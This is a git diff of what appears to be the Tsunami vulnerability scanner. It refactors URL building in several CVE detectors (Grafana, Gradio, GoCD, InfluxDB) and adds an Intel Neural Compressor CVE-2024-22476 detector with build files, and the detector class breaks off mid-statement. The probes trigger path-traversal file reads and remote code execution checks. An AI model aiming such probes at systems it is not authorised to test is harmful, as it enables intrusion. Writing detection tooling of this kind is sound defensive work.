b/community/detectors/gocd_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/gocd/GoCDArbitraryFileReadingDetector.java @@ -17,7 +17,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; @@ -78,21 +77,16 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(this::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) .build(); } - private boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - private boolean isServiceVulnerable(NetworkService networkService) { - String targetUri = buildTargetUrl(networkService); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CHECK_VUL_PATH; try { HttpResponse response = httpClient.send(HttpRequest.get(targetUri).withEmptyHeaders().build(), networkService); @@ -108,21 +102,6 @@ private boolean isServiceVulnerable(NetworkService networkService) { return false; } - private static String buildTargetUrl(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(CHECK_VUL_PATH); - return targetUrlBuilder.toString(); - } - public DetectionReport buildDetectionReport( TargetInfo targetInfo, NetworkService vulnerableNetworkService) { return DetectionReport.newBuilder() diff --git a/community/detectors/gradio_cve_2023_51449/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetector.java b/community/detectors/gradio_cve_2023_51449/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetector.java index 86a74d7f5..7352d724f 100644 --- a/community/detectors/gradio_cve_2023_51449/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetector.java +++ b/community/detectors/gradio_cve_2023_51449/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202351449/Cve202351449VulnDetector.java @@ -19,7 +19,6 @@ import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; import static com.google.common.net.HttpHeaders.USER_AGENT; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.post; import com.google.auto.value.AutoValue; @@ -93,27 +92,9 @@ public final class Cve202351449VulnDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("https://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - return targetUrlBuilder; - } - private HttpResponse sendUploadRequest(NetworkService networkService) throws IOException { - String uploadUrl = buildTarget(networkService).append(POST_UPLOAD_PATH).toString(); + String uploadUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + POST_UPLOAD_PATH; MultipartBody fileRequest = new MultipartBody.Builder() .setType(MultipartBody.FORM) @@ -153,7 +134,8 @@ private String producePathTravesalPayload(String tmpFile) { private HttpResponse sendGetFileRequest(NetworkService networkService, String payload) throws IOException { - String fetchFileUrl = buildTarget(networkService).append(GET_FILE_PATH).toString() + payload; + String fetchFileUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + GET_FILE_PATH + payload; return httpClient.sendAsIs( HttpRequest.get(fetchFileUrl) .setHeaders(HttpHeaders.builder().addHeader(USER_AGENT, "Tsunami Scanner").build()) @@ -229,7 +211,7 @@ public DetectionReportList detect( DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202351449VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .map(this::getDetectionResult) .filter(DetectionResult::isVulnerable) .map(result -> buildDetectionReport(targetInfo, result)) diff --git a/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/main/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetector.java b/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/main/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetector.java index 3946a028c..7dacd7ce7 100644 --- a/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/main/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetector.java +++ b/community/detectors/grafana_arbitrary_file_reading_cve_2021_43798/src/main/java/com/google/tsunami/plugins/detectors/grafana/GrafanaArbitraryFileReadingDetector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkState; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.auto.value.AutoValue; import com.google.common.collect.ImmutableList; @@ -134,7 +133,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(this::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .map(this::checkUrlWithPlugin) .filter(CheckResult::isVulnerable) .map(checkResult -> buildDetectionReport(targetInfo, checkResult)) @@ -142,15 +141,11 @@ public DetectionReportList detect( .build(); } - private boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - private CheckResult checkUrlWithPlugin(NetworkService networkService) { for (String plugin : PLUGINS) { - String targetUri = buildTargetUrl(networkService, plugin); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + VUL_PATH_FMT.replace("{plugin}", plugin); try { HttpResponse response = httpClient.send( HttpRequest.get(targetUri).withEmptyHeaders().build(), @@ -168,21 +163,6 @@ private CheckResult checkUrlWithPlugin(NetworkService networkService) { return CheckResult.buildForSecureService(networkService); } - private static String buildTargetUrl(NetworkService networkService, String plugin) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(VUL_PATH_FMT.replace("{plugin}", plugin)); - return targetUrlBuilder.toString(); - } - public DetectionReport buildDetectionReport( TargetInfo targetInfo, CheckResult checkResult) { NetworkService vulnerableNetworkService = checkResult.networkService(); diff --git a/community/detectors/influxdb_cve_2019_20933/src/main/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetector.java b/community/detectors/influxdb_cve_2019_20933/src/main/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetector.java index 750b2b13e..4beaafa84 100644 --- a/community/detectors/influxdb_cve_2019_20933/src/main/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetector.java +++ b/community/detectors/influxdb_cve_2019_20933/src/main/java/com/google/tsunami/plugins/detectors/cves/cve201920933/Cve201920933VulnDetector.java @@ -19,7 +19,6 @@ import static com.google.common.net.HttpHeaders.ACCEPT_LANGUAGE; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; import static com.google.common.net.HttpHeaders.UPGRADE_INSECURE_REQUESTS; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.post; import com.google.common.annotations.VisibleForTesting; @@ -84,19 +83,6 @@ public final class Cve201920933VulnDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - return targetUrlBuilder; - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -145,7 +131,8 @@ private boolean isServiceVulnerableByMissingAuth(NetworkService networkService) } private boolean canExecuteDbQuery(HttpHeaders httpHeaders, NetworkService networkService) { - String targetVulnerabilityUrl = buildTarget(networkService).append(VULNERABLE_PATH).toString(); + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_PATH; try { HttpResponse httpResponse = httpClient.send( diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/README.md b/community/detectors/intel_neural_compressor_cve_2024_22476/README.md new file mode 100644 index 000000000..154f94d80 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/README.md @@ -0,0 +1,20 @@ +# Intel(R) Neural Compressor CVE-2024-22476 Detector + +This detector checks for Intel(R) Neural Compressor CVE-2024-22476 +Unauthenticated Remote Code Execution (CVE-2024-22476). Improper input +validation in some Intel(R) Neural Compressor software before version 2.5.0 may +allow an unauthenticated user to potentially enable escalation of privilege via +remote access. + +- https://huntr.com/bounties/877a517f-76ec-45be-8d3b-2b5ac471bfeb +- https://vulners.com/cvelist/CVELIST:CVE-2024-22476 + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle b/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle new file mode 100644 index 000000000..d5b080086 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/build.gradle @@ -0,0 +1,68 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami CVE-2024-22476 VulnDetector plugin.' +group 'com.google.tsunami' +version '0.0.1-SNAPSHOT' + + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + okhttpVersion = '3.12.0' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} \ No newline at end of file diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.jar b/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..e6441136f Binary files /dev/null and b/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.properties b/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew b/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew new file mode 100755 index 000000000..b740cf133 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew @@ -0,0 +1,249 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew.bat b/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew.bat new file mode 100644 index 000000000..25da30dbd --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/gradlew.bat @@ -0,0 +1,92 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle b/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle new file mode 100644 index 000000000..6e7a65fa8 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/settings.gradle @@ -0,0 +1,10 @@ +/* + * This file was generated by the Gradle 'init' task. + * + * The settings file is used to specify which projects to include in your build. + * + * Detailed information about configuring a multi-project build in Gradle can be found + * in the user manual at https://docs.gradle.org/6.5/userguide/multi_project_builds.html + */ + +rootProject.name = 'CVE-2024-22476' diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java new file mode 100644 index 000000000..ead69a8ed --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476DetectorBootstrapModule.java @@ -0,0 +1,27 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202422476; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** An CVE-2024-22476 Guice module that bootstraps the {@link Cve202422476VulnDetector}. */ +public class Cve202422476DetectorBootstrapModule extends PluginBootstrapModule { + @Override + protected void configurePlugin() { + registerPlugin(Cve202422476VulnDetector.class); + } +} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java new file mode 100644 index 000000000..f81db6059 --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetector.java @@ -0,0 +1,207 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202422476; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; +import static com.google.tsunami.common.net.http.HttpRequest.post; +import static java.nio.charset.StandardCharsets.UTF_8; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.io.BaseEncoding; +import com.google.common.io.Resources; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.ForWebService; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects the CVE-2024-22476 vulnerability. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "CVE-2024-22476 Detector", + version = "0.1", + description = "Checks for occurrences of CVE-2024-22476 in Intel Neural Compressor instances.", + author = "frkngksl", + bootstrapModule = Cve202422476DetectorBootstrapModule.class) +@ForWebService +public final class Cve202422476VulnDetector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final Clock utcClock; + private final PayloadGenerator payloadGenerator; + + private static final String VUL_PATH = "task/submit/"; + private static final Duration BATCH_REQUEST_WAIT_AFTER_TIMEOUT = Duration.ofSeconds(10); + private final String taskRequestTemplate; + private final HttpClient httpClient; + + @Inject + Cve202422476VulnDetector( + @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) + throws IOException { + this.utcClock = checkNotNull(utcClock); + this.httpClient = + checkNotNull(httpClient, "HttpClient cannot be null.") + .modify() + .setFollowRedirects(false) + .build(); + this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); + taskRequestTemplate = + Resources.toString(Resources.getResource(this.getClass(), "task_request.json"), UTF_8); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(this::isWebServiceOrUnknownService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private boolean checkNeuralSolutionFingerprint(NetworkService networkService) { + String targetWebAddress = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + var request = 